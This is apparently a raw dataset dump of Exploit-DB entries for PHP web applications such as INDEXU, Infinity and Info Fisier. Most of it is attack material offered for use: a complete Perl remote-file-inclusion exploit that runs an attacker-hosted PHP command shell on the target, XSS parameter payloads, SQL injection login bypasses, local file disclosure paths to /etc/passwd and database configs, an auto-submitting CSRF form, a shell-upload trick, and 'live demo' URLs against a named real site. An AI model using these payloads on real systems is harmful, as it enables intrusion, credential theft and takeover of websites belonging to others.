deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1644
Description: INDEXU 5.0.1 - 'base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-04
Author: K-159

Exploit:
#!/usr/bin/perl
##
# INDEXU <= 5.0.1 base_path Remote File Inclusion Exploit
# Bug Found & code By K-159
#
# base on advisory at http://echo.or.id/adv/adv26-K-159-2006.txt
#
# code reference from ExploiterCode.com
##
# www.echo.or.id (c) 2006
#
##
# usage:
# perl indexu.pl <target> <cmd shell location> <cmd shell variable>
#
# perl indexu.pl http://target.com/indexu/ http://target.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#greetz:echo|staff(y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous),kaiten,an0maly,SinChan,sakitjiwa,rizal,etc
#
# Contact:  eufrato[at]gmail.com www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.' application.php?base_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[ê]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *INDEXU <= 5.0.1 base_path Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl indexu.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to INDEXU ex: http://www.site.com/indexu/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-04-04]
Exploit-DB #29489
Description: Indexu 5.0/5.3 - 'login.php?Error_msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
           
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
           
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
           
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/login.php?error_msg=[XSS]
Exploit-DB #29488
Description: Indexu 5.0/5.3 - 'mailing_list.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
          
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
          
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
          
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/mailing_list.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/mailing_list.php?email=[XSS]
Exploit-DB #29487
Description: Indexu 5.0/5.3 - 'new.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
         
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
         
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
         
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/new.php?path=[XSS]
http://www.example.com/INDEXU_PATH//new.php?total=[XSS]
Exploit-DB #29486
Description: Indexu 5.0/5.3 - 'power_search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
        
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
        
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
        
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/power_search.php?url=[XSS]
http://www.example.com/INDEXU_PATH//power_search.php?contact_name=[XSS]
http://www.example.com/INDEXU_PATH//power_search.php?email=[XSS]
Exploit-DB #29485
Description: Indexu 5.0/5.3 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
       
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
       
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/register.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/register.php?username=[XSS]
http://www.example.com/INDEXU_PATH/register.php?password=[XSS]
http://www.example.com/INDEXU_PATH/register.php?password2=[XSS]
http://www.example.com/INDEXU_PATH/register.php?email=[XSS]
Exploit-DB #29484
Description: Indexu 5.0/5.3 - 'search.php?keyword' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
      
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/search.php?keyword=[XSS]
Exploit-DB #29481
Description: Indexu 5.0/5.3 - 'Sendmail.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
    
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/sendmail.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/sendmail.php?email=[XSS]
http://www.example.com/INDEXU_PATH/sendmail.php?name=[XSS]
http://www.example.com/INDEXU_PATH/sendmail.php?subject=[XSS]
Exploit-DB #29483
Description: Indexu 5.0/5.3 - 'send_pwd.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
     
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/send_pwd.php?email=[XSS]
http://www.example.com/INDEXU_PATH/send_pwd.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/send_pwd.php?username=[XSS]
Exploit-DB #29478
Description: Indexu 5.0/5.3 - 'suggest_category.php?Error_msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
 
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/suggest_category.php?error_msg=[XSS]
Exploit-DB #29480
Description: Indexu 5.0/5.3 - 'tell_friend.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
   
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/tell_friend.php?friend_name=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?friend_email=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?my_name=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?my_email=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?id=[XSS]
Exploit-DB #29477
Description: Indexu 5.0/5.3 - 'upgrade.php?gateway' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info

Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 


http://www.example.com/INDEXU_PATH/upgrade.php?pflag=upgrade&true&gateway=[XSS]
Exploit-DB #29479
Description: Indexu 5.0/5.3 - 'user_detail.php?u' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-16
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/22084/info
  
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/user_detail.php?u=[XSS]
Exploit-DB #25756
Description: India Software Solution Shopping Cart - SQL Injection
Type: webapps
Platform: php
Date: 2005-05-28
Author: Rayden

Exploit:
source: https://www.securityfocus.com/bid/13812/info

India Software Solution Shopping Cart is prone to an SQL injection vulnerability.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

All versions are considered to be vulnerable at the moment. 

Uername =admin
Password=" or 0=0 #
Exploit-DB #2976
Description: inertianews 0.02b - 'inertianews_main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-21
Author: bd0rk

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++
+                                                     +
+ inertianews 0.02b Remote File Include Vulnerability +
+                                                     +
+ Found3R: bd0rk || SOH-Crew                          +
+                                                     +
+ eMail: bd0rk[at]hackermail.com                      +
+                                                     +
+ Greetz: str0ke, TheJT, Axel H., Carsten S.          +
+                                                     +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++

Download: http://www.brentc.com/inertianews/download/inertianews02b.zip

=> Vulnerable Code in inertianews_main.php <=

Code: require ("$inews_path/inertia_sql_class.php");

[+]Exploit: http://[host]/[inertia_dir]/inertianews_main.php?inews_path=http://[TroubleScript]

Special-Greetz: ajann, Kacper, Google-Team :-)

# milw0rm.com [2006-12-21]
Exploit-DB #14085
Description: iNet Online Community - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: JaMbA

Exploit:
# Exploit Title: iNet Online Community Blind SQLi Vulnerability
# Author: JaMbA
# Script url: http://www.i-netsolution.com/online-community-php-scripts.html
# Tested on: Windows

=================Exploit==================

[ EXPL0!T ]

http://server/path/profile_social.php?id=[BSQLi]

===========================================================

Greetz to : Alnjm33-virus-pal -g3n1ux - Predator-Ahmadso - xXx-jago-dz
-injecteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #9462
Description: Infinity 2.x - 'options[style_dir]' Local File Disclosure
Type: webapps
Platform: php
Date: 2009-08-18
Author: SwEET-DeViL

Exploit:
------------------Infinity <= v2.X.X  Local File Disclosure / Auth Bypass Vulnerabilities-------------------------
   #     ####     #     ###      ##   ###  ####  ####  ###   ## ###   ####  ####   ###     #    ### ####  ######
   ##     #  #    ##     # #    # #  #  #   # #   #  #  #    #   #   #    #  # #  #  #     ##    #   # # #  #  #
   # #    #  #    # #    # #    # #  #      #     #  #   #   #   #  #        #    #        # #   #   #      #  
  #  #    ###    #  #    ###   #  #   ##    ###   ###    #  #    #  #        ###   ##      #  #  #   ###    #  
  ####    #  #   ####    #  # ######    #   #     #  #    # #    #  #        #       #     #   # #   #      #  
 #   #    #   # #   #    #  #     # #   #   #     #   #   ##     #   #    #  #   #   #     #    ##   #      #  
##    ## ###   ##    ## ####     ### ###   ####  ###   #   #    ###   ####  ####  ###   # ###    #  ####   ###
    
#----------------------------------------------------------------------------------------------------------------
Script : Infinity
version : 2.X.X
Language: PHP
Site: http://www.dimofinf.net/
Author: SwEET-DeViL

need magic_quotes_gpc = Off  <-----(<>

----------------------------------------------------------------------------------------------------------------

- +[LFD]

#Exploit:

http://WWW.Site.Com/inf/?options[style_dir]=../include/db.php%00
http://WWW.Site.Com/inf/?options[style_dir]=../../../../../../etc/passwd%00
#
###
#
#----------------------------------------------------------------------------------------------------------------
- +[AB]

http://WWW.Site.Com/inf/cp


#Exploit:


username : 'or 1=1/*

password : SwEET-DeViL

#----------------------------------------------------------------------------------------------------------------
#
###
#
- - +[Live Demo] : >

http://www.alihammadi.com/html/?options[style_dir]=../include/db.php%00
http://www.alihammadi.com/html/?options[style_dir]=../../../../../../etc/named.conf%00


/-------------www.arab4services.net-----------------\
|+------------------------------------------------+ |
||          SwEET-DeViL & viP HaCkEr              | |
||            gamr-14(at)hotmail.com              | |
|+------------------------------------------------+ |
\---------------------------------------------------/


# milw0rm.com [2009-08-18]
Exploit-DB #44651
Description: Infinity Market Classified Ads Script 1.6.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-18
Author: L0RD

Exploit:
# Exploit Title:  Infinity Market Classified Ads Script 1.6.2 - Cross-Site Request Forgery
# Date: 2018-05-18
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/classifieds-multipurpose-portal-infinity-market/16572285?s_rank=1520
# Version: 1.6.2
# Tested on: Kali linux

# Description : CSRF vulnerability allows attacker to change user's information directly .

# POC :

<html>
<head>
  <title>CSRF POC</title>
</head>
  <body>
    <form action="http://geniuscript.com/classified/index.php/frontend/myprofile/en" method="POST">
      <input type="hidden" name="name&#95;surname" value="decode" />
      <input type="hidden" name="username" value="user" />
      <input type="hidden" name="password" value="anything" />
      <input type="hidden" name="password&#95;confirm" value="anything" />
      <input type="hidden" name="address" value="Cyro&#32;trento&#32;23" />
      <input type="hidden" name="description" value="My&#32;description&#32;2" />
      <input type="hidden" name="phone" value="&#43;10000000" />
      <input type="hidden" name="mail" value="sanljiljan&#64;geniuscript&#46;com" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
Exploit-DB #10671
Description: Info Fisier 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: wlhaan hacker

Exploit:
                          ||          ||   | ||
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> team wlhaan hacker                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


_____________________________________________________
Info Fisier 1.0)  Remote File Upload Vulnerability )

#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+]  team wlhaan Hacker     #
# [+] Dork : Powered by Info Fisier. #
# [+]
#####################################################

The exploit :

 http://localhost/path/upload.php


chaneg shell

shell.php.sisx

or

shell.php.pjpeg


Get now shell :

http://localhost/path/uploads/shell.php.sisx


and good luck :D

Thanks to : shooq hacker ..

#####################################################
________________________________
&#1606;&#1592;&#1575;&#1605; Windows 7 &#1575;&#1604;&#1580;&#1583;&#1610;&#1583;: &#1576;&#1587;&#1617;&#1591; &#1605;&#1575; &#1578;&#1606;&#1580;&#1586;&#1607; &#1603;&#1604; &#1610;&#1608;&#1605;. &#1575;&#1593;&#1579;&#1585; &#1593;&#1604;&#1609; &#1575;&#1604;&#1603;&#1605;&#1576;&#1610;&#1608;&#1578;&#1585; &#1575;&#1604;&#1605;&#1606;&#1575;&#1587;&#1576; &#1604;&#1603;.<http://windows.microsoft.com/shop>